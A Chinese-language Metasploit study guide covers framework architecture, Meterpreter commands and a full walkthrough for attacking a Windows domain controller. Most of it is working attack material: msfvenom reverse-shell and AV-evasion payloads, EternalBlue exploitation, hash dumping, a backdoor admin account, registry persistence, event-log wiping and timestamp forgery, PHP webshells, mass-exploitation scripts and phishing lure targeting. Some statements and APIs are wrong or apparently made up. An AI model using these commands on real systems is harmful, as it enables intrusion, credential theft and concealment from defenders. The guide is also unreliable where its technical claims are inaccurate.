Day 0015:Metasploit 基础解析
目录
一、理论学习(Metasploit 架构与核心组件)
一、架构设计:分层与模块化
基础层(Ruby 框架):
核心层(模块引擎):
接口层(交互界面):
二、核心组件工作原理
1. 模块(Modules)
2. 数据库(Database)
3. 控制台(Console)
三、Meterpreter 高级功能实战
1. 文件操作
2. 网络操作
3. 系统操作
4. 反取证
5. 横向移动
四、实战案例:渗透测试流程
场景:攻击内网 Windows 域控制器(DC)。
五、注意事项与最佳实践
合法合规:
安全防护:
性能优化:
框架维护:
二、实操演练(Metasploit 框架深度操作)
一、启动与初始化配置
1. 安装与启动
2. 数据库配置
二、核心模块操作流程
1. 模块分类与搜索
2. 漏洞利用实战(以MS17-010为例)
三、Payload生成与监听
1. 生成Payload(msfvenom)
2. 配置监听器
四、后渗透测试(Meterpreter)
1. 会话管理
2. 信息收集与提权
3. 数据窃取与持久化
4. 防御规避
五、自动化与脚本编写
1. Ruby脚本自动化
2. Python集成(RPC API)
六、防御检测与日志清理
1. 流量混淆
2. 日志清理:
七、实战案例解析
案例1:内网渗透测试
案例2:Web应用攻击
八、最佳实践与注意事项
三、复习巩固与扩展场景
1. 常用命令缩写:底层逻辑与实战技巧
(1)命令缩写原理Metasploit 的命令缩写基于唯一前缀匹配。例如:
(2)核心命令详解
2. Meterpreter 常用命令:从原理到实战
(1)进程操作
(2)提权与权限管理
(3)网络操作
(4)反取证
3. 扩展场景:从基础到高阶
(1)绕过防火墙:深度技术解析
(2)多平台攻击:漏洞利用全解析
(3)自动化攻击:从脚本到框架
四、安全与法律考虑
1. 法律与道德准则
2. 安全操作规范
3. 数据保护
五、深入Metasploit模块开发:从底层原理到实战攻防
1. Exploit模块开发进阶
(1)漏洞验证:check方法的实现
(2)复杂漏洞利用
(3)调试技巧
2. Payload模块开发进阶
(1)Stager与Stageless Payload对比
(2)高效汇编编码
(3)反检测技术
3. Auxiliary与Post模块开发
(1)Auxiliary模块:信息收集
(2)Post模块:后渗透操作
4. 跨平台开发
(1)多架构支持
(2)API调用差异处理
5. 实战案例:CVE-2025-XXXX漏洞利用
(1)漏洞背景
(2)模块开发步骤
6. 调试与测试工具链
7. 常见问题解决
(1)模块加载失败
(2)Payload执行失败
(3)反病毒检测
六、高级后渗透技术深度解析
1. 权限提升(Privilege Escalation)
2. 横向移动(Lateral Movement)核心技术
七、社会工程学与Metasploit结合实战
1. 钓鱼邮件生成技术
2. 恶意Office文档生成
八、防御与检测规避策略
1. 绕过杀毒软件技术
2. 绕过防火墙策略
九、自动化与脚本编写进阶
1. Metasploit API(Ruby脚本)高级应用
2. Resource Script(.rc文件)实战
十、案例分析:企业内网渗透全流程
1. 攻击者完整攻击链
2. 防御加固方案
十一、Metasploit高级模块开发(续)
3. 自定义Auxiliary模块
4. 自定义Post模块
十二、高级后渗透技术(续)
2. 持久化控制(续)
3. 横向移动(续)
十三、社会工程学与Metasploit结合(续)
3. 生成恶意PDF文档
4. 生成恶意链接(钓鱼)
十四、防御与检测规避(续)
3. 绕过应用白名单
4. 绕过行为检测
十五、自动化与脚本编写(续)
3. 使用Metasploit API(Python脚本)
4. 编写Resource Script(.rc文件)
十六、案例分析(续)
2. 高级持续性威胁(APT)模拟
十七、Metasploit与其他工具集成
1. Metasploit与Nmap集成
2. Metasploit与Wireshark集成
3. Metasploit与Burp Suite集成
十八、Metasploit最佳实践
1. 渗透测试流程
2. 法律与道德准则
3. 安全操作规范
十九、真实渗透测试案例(续)
3. Web应用渗透测试案例
二十、高级持续性威胁(APT)模拟(续)
一、理论学习(Metasploit 架构与核心组件)
一、架构设计:分层与模块化
Metasploit 采用分层架构,核心逻辑分为三层:
-
基础层(Ruby 框架):
- 提供模块加载、命令解析、日志记录等底层功能。
- 通过
Rex
库实现网络通信、协议解析等通用能力。
-
核心层(模块引擎):
- 动态加载和管理模块(Exploit/Payload/Auxiliary/Post)。
- 处理模块参数配置、依赖检查、攻击链组合。
-
接口层(交互界面):
- 控制台(
msfconsole
)、Web 界面(msfweb
)、API 接口(msgrpc
)。 - 支持工作空间隔离、历史命令记录、脚本自动化(
resource
命令)。
- 控制台(
模块化设计优势:
- 松耦合:模块独立开发,可通过
make_rc
生成配置文件复用攻击链。 - 热加载:无需重启即可更新模块(
reload_all
命令)。 - 扩展性:支持通过
msfvenom
生成自定义 Payload,或编写 Ruby 模块扩展功能。
二、核心组件工作原理
1. 模块(Modules)
- Exploit 模块:
- 漏洞利用流程:
- 目标探测(如
set RHOSTS 192.168.1.0/24
)。 - 协议交互(如发送 SMB 协议数据包)。
- 触发漏洞(如缓冲区溢出、SQL 注入)。
- 交付 Payload(通过
set PAYLOAD
指定)。
- 目标探测(如
- 高级特性:
- 多目标支持:同一 Exploit 可适配不同 OS/架构(如
Targets
参数)。 - 自动检查:
Check
方法验证目标是否脆弱(如check
命令)。
- 多目标支持:同一 Exploit 可适配不同 OS/架构(如
- 漏洞利用流程:
- Payload 模块:
- Stager-Stage 架构:
- Stager:轻量级代码(如
reverse_tcp
),建立初始连接。 - Stage:完整功能(如
meterpreter
),通过 Stager 传输。
- Stager:轻量级代码(如
- 编码与免杀:
Encoders
对 Payload 加密(如shikata_ga_nai
支持多态变形)。Nops
填充避免坏字符(如\x90
填充)。
- Stager-Stage 架构:
- Auxiliary 模块:
- 扫描器原理:
- 端口扫描:SYN/ACK 探测(
auxiliary/scanner/portscan/syn
)。 - 服务识别:Banner 抓取(如
auxiliary/scanner/http/http_version
)。
- 端口扫描:SYN/ACK 探测(
- 密码破解:
- 字典攻击:加载密码字典(
set PASS_FILE /usr/share/wordlists/rockyou.txt
)。 - 暴力破解:多线程尝试(
set THREADS 10
)。
- 字典攻击:加载密码字典(
- 扫描器原理:
- Post 模块:
- 权限提升:
- 本地漏洞利用建议器:
post/multi/recon/local_exploit_suggester
。 - 提权脚本:
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
。
- 本地漏洞利用建议器:
- 持久化控制:
- 计划任务:
post/windows/manage/persistence
(注册表/启动项)。 - 后门植入:
post/windows/manage/autoroute
(路由劫持)。
- 计划任务:
- 权限提升:
2. 数据库(Database)
- 数据存储结构:
- 主机表(hosts):IP、MAC、OS 指纹。
- 服务表(services):端口、协议、服务名称。
- 漏洞表(vulns):CVE 编号、风险等级、验证状态。
- 会话表(creds):用户名、密码、哈希值。
- 高级查询:
- 关联分析:
vulns -t [CVE]
查找受影响主机。 - 导出报告:
db_export -f csv reports.csv
。
- 关联分析:
3. 控制台(Console)
- 自动化脚本:
- 编写
.rc
文件(如use exploit/windows/smb/ms17_010_eternalblue
)。 - 批量执行:
msfconsole -r script.rc
。
- 编写
- 工作空间管理:
- 隔离项目数据:
workspace -a project_alpha
。 - 切换环境:
workspace project_beta
。
- 隔离项目数据:
三、Meterpreter 高级功能实战
1. 文件操作
- 隐蔽传输:
- 加密通道:
set EnableStageEncoding true
。 - 分片下载:
download -c /etc/shadow
(支持断点续传)。
- 加密通道:
2. 网络操作
- 端口转发:
- 穿透防火墙:
portfwd add -l 8443 -p 443 -r 10.0.0.2
(将本机 8443 流量转发到内网 10.0.0.2:443)。
- 穿透防火墙:
- 网络嗅探:
- 抓包分析:
use auxiliary/sniffer/psnuffle
(需管理员权限)。
- 抓包分析:
3. 系统操作
- 权限提升:
- 令牌窃取:
steal_token [PID]
(模拟其他用户权限)。 - Bypass UAC:
bypassuac
模块(如exploit/windows/local/bypassuac_injection
)。
- 令牌窃取:
- 凭证窃取:
- 内存抓取:
hashdump
(提取 LSASS 进程中的明文密码)。 - 浏览器密码:
webcam_snap
(需配合post/windows/gather/credentials/chrome
)。
- 内存抓取:
4. 反取证
- 时间戳篡改:
timestomp -f C:\\Windows\\System32\\calc.exe C:\\Windows\\Temp\\backdoor.exe
(伪造文件时间)。
- 日志清理:
- 清除事件日志:
clearev
。
- 清除事件日志:
5. 横向移动
- Pass-the-Hash:
- 使用哈希认证:
use exploit/windows/smb/psexec
+set SMBHash ::...
。
- 使用哈希认证:
- 票据传递:
- 金票攻击:
use post/windows/gather/credentials/golden_ticket
。
- 金票攻击:
四、实战案例:渗透测试流程
场景:攻击内网 Windows 域控制器(DC)。
- 信息收集:
- 扫描存活主机:
db_nmap -sS 192.168.1.0/24
。 - 识别 DC:
auxiliary/scanner/smb/smb_version
(发现SERVER2019
)。
- 扫描存活主机:
- 漏洞利用:
- 使用永恒之蓝:
exploit/windows/smb/ms17_010_eternalblue
+set PAYLOAD windows/x64/meterpreter/reverse_tcp
。
- 使用永恒之蓝:
- 后渗透攻击:
- 提权至 SYSTEM:
getsystem
。 - 提取域管哈希:
hashdump
(获取Administrator:500:...
)。 - 横向移动:
use exploit/windows/smb/psexec
+set SMBUser Administrator
+set SMBPass ...
。
- 提权至 SYSTEM:
- 持久化控制:
- 创建后门用户:
net user backdoor Passw0rd! /add
+net localgroup administrators backdoor /add
。 - 部署 Cobalt Strike Beacon:
execute -f -H -i -m -d calc.exe -a "/c start /b ..."
。
- 创建后门用户:
五、注意事项与最佳实践
-
合法合规:
- 仅在授权范围内使用,避免触碰法律红线。
- 记录测试过程:
spool /var/log/metasploit.log
。
-
安全防护:
- 使用免杀 Payload:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
。 - 混淆流量特征:
set AutoRunScript post/windows/manage/smart_migrate
(自动进程迁移)。
- 使用免杀 Payload:
-
性能优化:
- 调整线程数:
set THREADS 20
(根据目标性能调整)。 - 限制扫描速率:
set RPORT 445
+set THREADS 1
(避免触发 IDS)。
- 调整线程数:
-
框架维护:
- 定期更新:
msfupdate
(获取最新漏洞模块)。 - 备份数据库:
db_export -f sqlite3 backup.db
。
- 定期更新:
二、实操演练(Metasploit 框架深度操作)
一、启动与初始化配置
1. 安装与启动
- Kali Linux:
bash
sudo apt update && sudo apt install metasploit-framework
msfconsole # 启动控制台
- Windows:
- 下载安装包(Metasploit官网),配置环境变量。
2. 数据库配置
- 初始化数据库:
bash
msfdb init # 首次使用需初始化
systemctl start postgresql # 启动PostgreSQL服务
db_status # 验证连接状态(输出示例:[*] postgresql connected to msf)
二、核心模块操作流程
1. 模块分类与搜索
- 模块类型:
- Exploits:漏洞利用模块(如
exploit/windows/smb/ms17_010_eternalblue
)。 - Auxiliary:辅助模块(端口扫描、服务探测)。
- Post:后渗透模块(权限提升、数据窃取)。
- Payloads:攻击载荷(如
windows/meterpreter/reverse_tcp
)。 - Encoders:编码器(绕过杀软检测)。
- Nops:空指令模块(稳定Payload)。
- Exploits:漏洞利用模块(如
- 搜索技巧:
bash
search ms17_010 # 按漏洞名搜索
search platform:windows type:exploit # 按平台与类型过滤
search cve:2021-44228 # 按CVE编号搜索
2. 漏洞利用实战(以MS17-010为例)
- 步骤:
- 加载模块并配置参数:
bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100 # 目标IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 设置Payload
set LHOST 192.168.1.101 # 攻击者IP
set LPORT 4444 # 监听端口
- 执行攻击:
bash
exploit # 或 run
- 成功标志:
bash
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.100:49158)
- 加载模块并配置参数:
三、Payload生成与监听
1. 生成Payload(msfvenom)
-
常用格式:
bash
# Linux反向TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f elf > shell.elf
# Windows免杀Payload(编码+RC4加密)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell.exe
-
高级选项:
bash
-b "\x00\x0a" # 过滤坏字符
--smallest # 生成最小Payload
2. 配置监听器
-
基础配置:
bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 4444
exploit -j -z # 后台持续监听
-
持久化监听:
bash
set ExitOnSession false # 保持监听(即使会话断开)
四、后渗透测试(Meterpreter)
1. 会话管理
- 基础命令:
bash
sessions -l # 列出所有会话
sessions -i 1 # 交互会话1
background # 会话挂到后台
2. 信息收集与提权
-
系统信息:
bash
sysinfo # 系统版本、架构
getuid # 当前用户权限
getsystem # 尝试提权至SYSTEM(Windows)
-
网络信息:
bash
netstat # 查看网络连接
arp # 显示ARP缓存
3. 数据窃取与持久化
-
文件操作:
bash
download C:\\Users\\Admin\\desktop\\passwords.txt # 下载文件
upload /root/keylogger.exe C:\\Windows\\ # 上传文件
-
持久化后门:
bash
persistence -S -U -i 10 -p 443 -r 192.168.1.101 # 创建开机启动后门
4. 防御规避
-
编码与加密:
bash
# 生成编码后的Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe
-
流量加密:
bash
# 使用RC4加密通信
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
五、自动化与脚本编写
1. Ruby脚本自动化
- 示例脚本:
ruby
framework = Msf::Simple::Framework.create
exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp'
exploit.datastore['LHOST'] = '192.168.1.101'
exploit.execute(nil)
2. Python集成(RPC API)
- 基础代码:
python
from msfrpc import MsfRpcClient
client = MsfRpcClient('password', port=55553) # 默认密码:msf
console_id = client.consoles.console().cid
client.consoles.console(console_id).write('use exploit/windows/smb/ms17_010_eternalblue\n')
client.consoles.console(console_id).write('set RHOSTS 192.168.1.100\n')
client.consoles.console(console_id).write('exploit\n')
六、防御检测与日志清理
1. 流量混淆
- 使用HTTPS/DNS隧道:
bash
set PAYLOAD windows/meterpreter/reverse_https
set HandlerSSLCert /path/to/cert.pem # 自定义证书
2. 日志清理:
-
清除事件日志(Windows):
bash
clearev # 清除应用程序、系统、安全日志
-
删除痕迹文件:
bash
rm /tmp/shell.elf # 删除上传的Payload
七、实战案例解析
案例1:内网渗透测试
- 信息收集:
- 使用Nmap扫描内网段:
nmap -sS 192.168.1.0/24
- 导入结果到Metasploit:
db_import nmap_scan.xml
- 使用Nmap扫描内网段:
- 漏洞利用:
- 发现目标主机开放445端口,使用MS17-010模块获取SYSTEM权限。
- 横向移动:
- 通过Meterpreter的
ps
命令查找域控进程,使用migrate
迁移至高权限进程。
- 通过Meterpreter的
- 数据窃取:
- 使用
hashdump
提取NTLM哈希,配合secretsdump.py
破解密码。
- 使用
案例2:Web应用攻击
- 漏洞探测:
- 使用
auxiliary/scanner/http/http_version
识别Web服务器类型。 - 搜索对应漏洞模块(如PHP远程代码执行)。
- 使用
- Payload植入:
- 生成Webshell(如PHP格式):
bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
- 生成Webshell(如PHP格式):
- 持久化控制:
- 修改Web目录权限,设置定时任务反弹Shell。
八、最佳实践与注意事项
- 合法授权:仅在测试目标系统时使用Metasploit,避免未经授权的攻击。
- 模块更新:定期执行
msfupdate
更新漏洞库。 - 日志记录:启用Metasploit日志功能(
setg LogLevel 3
)以便审计。 - 资源释放:测试完成后使用
jobs -K
清理后台任务。
三、复习巩固与扩展场景
1. 常用命令缩写:底层逻辑与实战技巧
(1)命令缩写原理
Metasploit 的命令缩写基于唯一前缀匹配。例如:
search
可缩写为s
(因无其他命令以s
开头)。use
可缩写为u
,但set
无缩写(因se
可能匹配sessions
)。
(2)核心命令详解
完整命令 缩写 完整语法示例 实战技巧 search
s
s type:exploit platform:windows
结合 type:
、platform:
精准过滤模块。use
u
u exploit/windows/smb/ms17_010_eternalblue
加载模块后,按 Tab
键可自动补全参数。set
无 set RHOSTS 192.168.1.100
必填参数(如 RHOSTS
)需优先设置。exploit
run
exploit -j
(后台运行)结合 -z
参数不捕获会话(适合 DoS 攻击)。sessions
ses
ses -i 1
(交互指定会话)批量操作会话: ses -K
终止所有会话。background
bg
bg
(后台挂起当前会话)结合 sessions -l
查看后台会话列表。help
?
?
(全局帮助) /exploit?
(模块帮助)模块专属帮助需在 use
后使用。route
r
route add 10.0.0.0 255.0.0.0 1
添加内网路由后,用 run autoroute -p
验证。
2. Meterpreter 常用命令:从原理到实战
(1)进程操作
-
ps
命令:
ps
实际调用目标系统的CreateToolhelp32Snapshot
API 枚举进程。
高级用法:meterpreter
ps | grep chrome # 过滤 Chrome 进程
migrate [PID] # 迁移到高权限进程(如 winlogon.exe)
-
kill
命令:
底层调用TerminateProcess
API,但需注意:- 终止关键系统进程(如
lsass.exe
)可能导致蓝屏。 - 结合
steal_token [PID]
窃取令牌后,可绕过部分权限检查。
- 终止关键系统进程(如
(2)提权与权限管理
-
getsystem
原理:
通过多种技术尝试提权,包括:- Named Pipe Impersonation(默认)
- Token Kidnapping
- BypassUAC
失败应对:
meterpreter
getprivs # 查看当前权限
use incognito # 加载令牌伪造模块
list_tokens -u # 列出可用令牌
impersonate_token "NT AUTHORITY\\SYSTEM" # 伪造 SYSTEM 令牌
-
rev2self
场景:
在权限滥用后(如getsystem
失败),需降权以避免检测。
(3)网络操作
-
ifconfig
输出解析:meterpreter
Interface 1
------------
Name : Intel(R) Ethernet Connection
Hardware MAC : 00:0c:29:xx:xx:xx
IP Address : 192.168.1.100
Netmask : 255.255.255.0
-
route
实战:meterpreter
route add 172.16.0.0 255.240.0.0 1 # 添加内网路由
route print # 验证路由
portfwd add -l 3389 -r 172.16.1.10 -p 3389 # 端口转发
(4)反取证
clearev
风险:
清除事件日志会触发Event Log Service
异常,需配合timestomp
修改文件时间戳。
3. 扩展场景:从基础到高阶
(1)绕过防火墙:深度技术解析
Reverse_HTTPS Payload 原理:
- 使用 HTTPS 协议封装 Meterpreter 通信,流量特征类似正常 Web 流量。
- 防御检测点:
- SNI 证书校验
- 流量基线异常(如频繁的小数据包)
- 进阶绕过:
bash
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.101 LPORT=443 -f exe -o shell.exe --encoder x86/shikata_ga_nai
Reverse_WinHTTP Payload 特性:
- 调用 Windows 原生
WinHTTP
库,绕过部分 EDR 的 API 钩子。 - 局限性:
- 仅支持 HTTP/HTTPS 协议
- 需目标系统启用
WinHTTP
服务
(2)多平台攻击:漏洞利用全解析
永恒之蓝漏洞(MS17-010)细节:
- 漏洞成因:SMBv1 协议处理畸形请求时的堆溢出。
- 利用条件:
- 目标开放 445 端口
- 未安装 MS17-010 补丁
- Post-Exploitation:
meterpreter
run post/windows/gather/enum_patches # 枚举已安装补丁
run post/windows/manage/migrate_process # 迁移进程
Stagefright 漏洞(CVE-2015-3864)利用链:
- 发送恶意 MP4 文件(含畸形
stts
原子)。 - 目标解析时触发堆溢出。
- 覆盖函数指针,执行 Shellcode。
- 防御绕过:
- 混淆 MP4 文件头(如添加随机元数据)。
- 使用
polymorphic
Shellcode 避免签名检测。
(3)自动化攻击:从脚本到框架
Resource Script 高级用法:
-
变量传递:
bash
# auto_attack.rc
set RHOSTS 192.168.1.100
use exploit/windows/smb/ms17_010_eternalblue
exploit
执行:
msfconsole -r auto_attack.rc -L /var/log/msf
(记录日志)。 -
条件判断:
bash
# conditional_attack.rc
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
if "Windows 7" {
use exploit/windows/smb/ms17_010_eternalblue
exploit
}
Metasploit API 开发实战:
-
Ruby 脚本框架:
ruby
framework = Msf::Simple::Framework.create
exploit = framework.modules.create('exploit/windows/smb/ms17_010_eternalblue')
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
exploit.run_simple('LocalInput' => driver.input, 'LocalOutput' => driver.output)
-
集成外部数据源:
ruby
# 从 CSV 读取目标列表
require 'csv'
CSV.foreach('targets.csv') do |row|
exploit.datastore['RHOSTS'] = row[0]
exploit.run_simple(...)
end
自动化攻击最佳实践:
- 模块化设计:将不同攻击阶段(侦察、利用、后渗透)拆分为独立脚本。
- 日志记录:启用
-L
参数记录所有操作,便于审计。 - 错误处理:在脚本中添加
begin-rescue
块捕获异常。 - 速率限制:避免对目标网络造成过大压力(如
setg BatchSize 10
)。
四、安全与法律考虑
1. 法律与道德准则
- 遵守法律法规:仅在授权范围内进行渗透测试,禁止用于非法用途。
- 明确测试范围:与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
- 最小化损害:避免对目标系统造成不必要的损害(如数据泄露、服务中断)。
2. 安全操作规范
- 使用虚拟机环境:在隔离的虚拟机(如 VMware、VirtualBox)中进行测试,避免影响物理机。
- 禁用危险模块:通过
msfconsole
的-q
参数跳过欢迎信息,或使用-x
参数执行初始化脚本(如禁用自动运行模块)。 - 清理测试痕迹:测试完成后,使用
clearev
清除事件日志,删除上传的文件和进程。
3. 数据保护
- 加密通信:使用
reverse_https
或reverse_winhttps
Payload 加密通信流量。 - 匿名化处理:在测试报告中匿名化处理敏感信息(如 IP 地址、域名、用户名)。
- 数据备份:在测试前对目标系统进行完整备份,以便在发生意外时快速恢复。
五、深入Metasploit模块开发:从底层原理到实战攻防
Metasploit的模块化架构是其核心竞争力的来源。通过自定义Exploit、Payload、Auxiliary和Post模块,用户可以精准适配各类攻击场景。以下从底层原理、开发细节、调试技巧、反检测策略四个维度展开,结合实战案例,呈现模块开发的完整链路。
1. Exploit模块开发进阶
(1)漏洞验证:check
方法的实现
- 作用:在攻击前验证目标是否易受攻击。
- 示例代码:
ruby
def check connect banner = sock.get_once || '' disconnect if banner =~ /VulnerableApp 1\.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end
- 高级用法:
- 结合
Nmap
脚本结果(如Nmap::Parser.new(nmap_xml)
)。 - 使用
Metasploit::Module::KnownVulnerabilities
集成CVE信息。
- 结合
(2)复杂漏洞利用
- 堆溢出:
ruby
# 伪代码:构造堆喷射数据 heap_spray = Rex::Text.pattern_create(0x1000) # 生成模式数据 heap_spray += [target.ret].pack('V') * 0x100 # 覆盖函数指针 sock.put(heap_spray)
- UAF(Use-After-Free):
ruby
# 伪代码:触发UAF trigger_uaf = "\xde\xad\xbe\xef" * 0x100 sock.put(trigger_uaf) # 等待目标释放内存后,覆盖虚函数表
(3)调试技巧
- Metasploit日志系统:
ruby
vprint_good("Debug info: #{sensitive_data}") # 仅调试模式显示 report_note(host: rhost, data: 'Compromised') # 记录攻击结果
- 联合调试:
- 在Exploit模块中添加
sleep(10)
。 - 目标机执行
gdb -p $(pgrep vulnerable_app)
。 - 攻击机执行
continue
恢复进程。
- 在Exploit模块中添加
2. Payload模块开发进阶
(1)Stager与Stageless Payload对比
特性 Stager Stageless 体积 小(<500字节) 大(含完整功能) 连接稳定性 依赖Stage下载 独立 适用场景 网络受限环境 高带宽环境 反检测 隐蔽性强 易被EDR拦截
(2)高效汇编编码
- 减小体积技巧:
ruby
# 传统方式 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"# 优化后(使用syscall指令) "\x48\x31\xff\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
- 工具辅助:
bash
nasm -f elf32 shellcode.asm # 汇编代码编译 objdump -d shellcode.o # 查看反汇编
(3)反检测技术
- 代码混淆:
ruby
obfuscated_code = Rex::Exploitation::Obfuscate.string(payload.encoded)
- ROP链构建:
ruby
rop = RopDb.new('linux/x86') rop.add('pop eax; ret') rop.add('/bin/sh') rop.execute # 生成ROP链
3. Auxiliary与Post模块开发
(1)Auxiliary模块:信息收集
- 示例:SMB版本扫描
ruby
class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'SMB Version Scanner', 'Description' => 'Detect SMB version', 'Author' => ['Your Name'], 'License' => MSF_LICENSE)) register_options([Opt::RPORT(445)]) enddef run_host(ip) connector = Rex::Proto::SMB::Client.new(ip: ip, port: rport) begin connector.login('guest', '') version = connector.dialect print_good("#{ip} uses SMB #{version}") rescue print_error("#{ip} SMB service unavailable") end end end
(2)Post模块:后渗透操作
- 示例:持久化Backdoor
ruby
class MetasploitModule < Msf::Post def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Persistence', 'Description' => 'Install backdoor', 'License' => MSF_LICENSE)) enddef run # Windows示例:注册表自启动 registry_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' registry_value = 'Updater' registry_data = 'C:\Windows\System32\backdoor.exe' client.sys.registry.write_key(registry_key, registry_value, registry_data) end end
4. 跨平台开发
(1)多架构支持
- 条件编译示例:
ruby
if datastore['PLATFORM'] == 'windows' arch = ARCH_X86 payload = generate_payload_exe else arch = ARCH_X64 payload = generate_payload_elf end
(2)API调用差异处理
- Windows vs Linux:
ruby
if windows? # 调用Win32 API handle = kernel32.CreateFileW(path, ...) else # 调用Linux系统调用 syscall(__NR_open, path, ...) end
5. 实战案例:CVE-2025-XXXX漏洞利用
(1)漏洞背景
- 某网络服务存在堆溢出漏洞,攻击者可覆盖函数指针执行任意代码。
(2)模块开发步骤
- Exploit模块:
- 使用
check
方法验证目标版本。 - 构造堆喷射数据,覆盖虚函数表。
- 调用
execute
方法触发漏洞。
- 使用
- Payload模块:
- 开发Stager建立反向TCP连接。
- 使用ROP链绕过DEP保护。
- 测试与调试:
- 在测试环境(Ubuntu 20.04)验证。
- 使用
gdb
分析崩溃点,调整偏移量。
6. 调试与测试工具链
工具 高级用法 示例命令/操作 msfconsole 启用调试模式 msfconsole -d
gdb 附加到进程并设置断点 gdb -p $(pgrep vulnerable_app) -ex 'b *0x08048000'
Wireshark 过滤特定会话流量 tcp.port == 4444 && ip.addr == 192.168.1.100
msfvenom 生成多平台Payload msfvenom -p windows/x64/meterpreter/reverse_https -f exe -o payload.exe
strace 跟踪系统调用参数 strace -e trace=open,read,write -f -s 1024 ./app
7. 常见问题解决
(1)模块加载失败
- 错误:
Failed to load module
- 排查步骤:
- 检查Ruby语法:
ruby -c module.rb
。 - 验证模块路径:
modules/exploits/platform/vendor/module.rb
。 - 查看详细日志:
msfconsole -d
。
- 检查Ruby语法:
(2)Payload执行失败
- 错误:
Exploit failed: No session
- 解决方案:
- 检查网络连通性:
telnet target 4444
。 - 绕过防火墙:使用
reverse_https
或reverse_winhttp
。 - 调整Payload选项:
set ExitOnSession false
。
- 检查网络连通性:
(3)反病毒检测
- 现象:Payload被删除或隔离。
- 对策:
- 使用
shikata_ga_nai
编码器。 - 加密Payload:
Rex::Encryption::AES.encrypt(payload, key)
。 - 混淆代码:
Rex::Exploitation::Obfuscate.string(payload)
。
- 使用
六、高级后渗透技术深度解析
1. 权限提升(Privilege Escalation)
本地提权漏洞利用原理:
- MS16-032(Windows):
- 漏洞成因:该漏洞源于Windows Secondary Logon服务在处理特权提升请求时未正确验证请求的来源和权限。攻击者可通过构造恶意请求触发内存破坏,从而获得SYSTEM权限。
- 利用细节:
- 攻击者首先需获取目标系统的shell权限。
- 使用Metasploit的
use exploit/windows/local/ms16_032
模块进行利用。 - 在利用过程中,需确保目标系统未安装KB3143141补丁。
- 漏洞利用成功后,攻击者可获得SYSTEM权限,进而控制整个系统。
- 防御措施:
- 及时安装微软发布的KB3143141补丁。
- 加强系统监控,及时发现并阻止异常权限提升行为。
- Dirty COW(Linux):
- 漏洞成因:该漏洞利用Linux内核的写时复制(Copy-on-Write)机制缺陷。当多个进程同时尝试修改同一内存页面时,内核可能因竞争条件而错误地处理写操作,导致权限提升。
- 利用细节:
- 攻击者需找到目标系统中可写的内存映射文件。
- 通过构造特定的系统调用序列触发竞争条件,修改文件内容。
- 例如,攻击者可将自身用户权限提升至root。
- 防御措施:
- 及时更新Linux内核至最新版本。
- 加强系统安全配置,限制用户权限。
- 避免使用弱加密算法。
持久化控制(Persistence)进阶:
- 计划任务(Windows):
- 高级配置:
- 通过Windows任务计划程序,攻击者可设置任务在特定条件(如每日、每周、每月或特定事件发生时)下执行恶意程序。
- 配置任务在计算机空闲时或网络连接可用时执行,以增强隐蔽性。
- 实战案例:
- 攻击者使用Metasploit的
use post/windows/manage/persistence
模块创建计划任务。 - 设置Payload为反向TCP连接,以便在任务执行时建立持久化控制通道。
- 攻击者使用Metasploit的
- 高级配置:
- 注册表自启动(Windows):
- 键值区别:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
键值适用于所有用户。HKCU\Software\Microsoft\Windows\CurrentVersion\Run
键值仅适用于当前用户。
- 混淆技术:
- 为避免被安全软件检测到,攻击者可将恶意程序路径伪装成系统进程(如
C:\Windows\System32\svchost.exe
)。 - 结合代码注入技术隐藏真实行为。
- 为避免被安全软件检测到,攻击者可将恶意程序路径伪装成系统进程(如
- 键值区别:
2. 横向移动(Lateral Movement)核心技术
Pass-The-Hash(PtH)攻击原理:
- 攻击流程:
- 攻击者通过漏洞利用或社会工程学手段获取目标内网主机的控制权,并提权至System权限。
- 使用
mimikatz
等工具提取本地存储的NTLM哈希值。 - 利用这些哈希值通过SMB、RDP等协议对其他系统发起身份验证,实现横向移动。
- 防御建议:
- 禁用NTLM协议,强制使用Kerberos认证。
- 启用SMB签名与加密。
- 限制本地管理员权限。
- 监控LSASS进程的异常访问。
Pass-The-Ticket(PtT)攻击流程:
- 攻击流程:
- 攻击者通过提取目标主机的Kerberos票据。
- 利用该票据进行身份验证,从而无需密码即可访问其他系统。
- 票据可通过
mimikatz
的kerberos::list /export
命令导出。 - 通过
psexec
等工具传递票据。
- 检测规避:
- 使用加密通信或隧道技术隐藏票据传递过程。
七、社会工程学与Metasploit结合实战
1. 钓鱼邮件生成技术
- 目标定位:
- 攻击者需根据目标岗位(如HR、财务)定制钓鱼邮件内容。
- 针对HR岗位,可伪装成简历附件。
- 针对财务岗位,可伪装成报销材料或财务报表。
